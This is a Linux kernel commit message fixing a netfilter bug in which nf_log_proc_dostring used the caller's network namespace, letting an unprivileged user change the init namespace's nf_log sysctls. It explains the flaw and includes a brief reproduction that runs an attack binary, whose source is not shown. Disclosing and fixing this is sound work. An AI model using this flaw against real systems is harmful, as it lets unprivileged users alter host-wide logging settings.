netfilter: fix namespace handling in nf_log_proc_dostring

BugLink: http://bugs.launchpad.net/bugs/1642968

commit dbb5918c upstream.

nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.

Stash the "struct net *" in extra2 - data and extra1 are already used.

Repro:

$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE

Because this looks like an issue with very low severity, I'm sending it to
the public list directly.
